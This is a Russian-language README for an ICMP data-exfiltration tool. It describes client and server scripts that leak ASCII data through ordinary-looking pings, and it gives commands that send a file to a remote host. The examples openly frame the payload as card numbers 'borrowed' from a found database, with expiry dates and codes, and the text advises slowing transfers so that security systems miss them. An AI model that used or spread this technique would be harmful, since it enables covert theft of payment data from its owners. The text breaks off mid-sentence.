
Эксфильтрация данных с помощью ICMP
ICMP Exfil позволяет передавать данные через корректные ICMP-пакеты. Вы используете клиентский скрипт, чтобы передать данные, которые хотите эксфильтровать, а на устройстве, на которое вы передаёте, запускаете сервер. Любой наблюдатель — человек или система безопасности — увидит лишь обычные ICMP-пакеты, в структуре которых нет ничего вредоносного. Ваши данные не скрыты внутри ICMP-пакетов, поэтому просмотр пакета не покажет, что было эксфильтровано.

Martino Jones, martinojones.com.
Сейчас я добавил поддержку только для символов ASCII. Вы сможете эксфильтровать всё, что может быть представлено в ASCII (например, буквы и цифры). Например: вы позаимствовали несколько крутых 16-значных чисел — тогда вы используете клиентский скрипт для передачи этих чисел на ваш сервер с помощью команды ./ping.py --ascii "4111111111111111".
У вас есть два варианта настройки сервера для отправки. Вы можете использовать --ip или задать IP по умолчанию в скрипте под именем ipToPing.
Если вы хотите проявить больше терпения и затруднить обнаружение эксфильтрации, можете использовать --wait, чтобы указать минимальное время + время, которое должно пройти для передачи данных. Эта функция ещё дорабатывается... поэтому пока придётся выполнять это преобразование самостоятельно, но мне не потребуется много времени, чтобы добавить его... впрочем, это не слишком важно, поскольку большинство людей и систем безопасности пока ещё этого не замечают.
Если вы хотите видеть проходящие пинги, используйте --show.
Для запуска сервера выполните sudo python3 server.py. Больше ничего делать не нужно. Когда закончите, нажмите Control+C. Сейчас сервер нуждается в доработке — необходимо сопоставлять входные данные с тем, от кого они получены. Пока я тестировал только с одним клиентом, который пингует сервер, это, конечно, нужно настроить. Основа уже заложена, осталось только собрать всё вместе.
Я нашёл базу данных, полную этих крутых 16-значных чисел. Мне нужно сохранить их для дальнейшего исследования, поэтому я сохраняю их в файл с именем file:
Команда:./ping.py --ip 1.2.3.4 --asciiFile file
Содержимое файла: 4587965312457852 01/15 456 Martino Jones | 4567965382457452 03/16 236 Martino Joe
Закодированные данные: ['0110100', '0110101', '0111000', '0110111', '0111001', '0110110', '0110101', '0110011', '0110001', '0110010', '0110100', '0110101', '0110111', '0111000', '0110101', '0110010', '0100000', '0110000', '0110001', '0101111', '0110001', '0110101', '0100000', '0110100', '0110101', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1101110', '1100101', '1110011', '0100000', '1111100', '0100000', '0110100', '0110101', '0110110', '0110111', '0111001', '0110110', '0110101', '0110011', '0111000', '0110010', '0110100', '0110101', '0110111', '0110100', '0110101', '0110010', '0100000', '0110000', '0110011', '0101111', '0110001', '0110110', '0100000', '0110010', '0110011', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1100101', '0001010']
Сервер:
Calculating offsets
4 5 8 7 9 6 5 3 1 2 4 5 7 8 5 2 0 1 / 1 5 4 5 6 M a r t i n o J o n e s | 4 5 6 7 9 6 5 3 8 2 4 5 7 4 5 2 0 3 / 1 6 2 3 6 M a r t i n o J o e
Если вы хотите помочь, вот что ещё нужно добавить: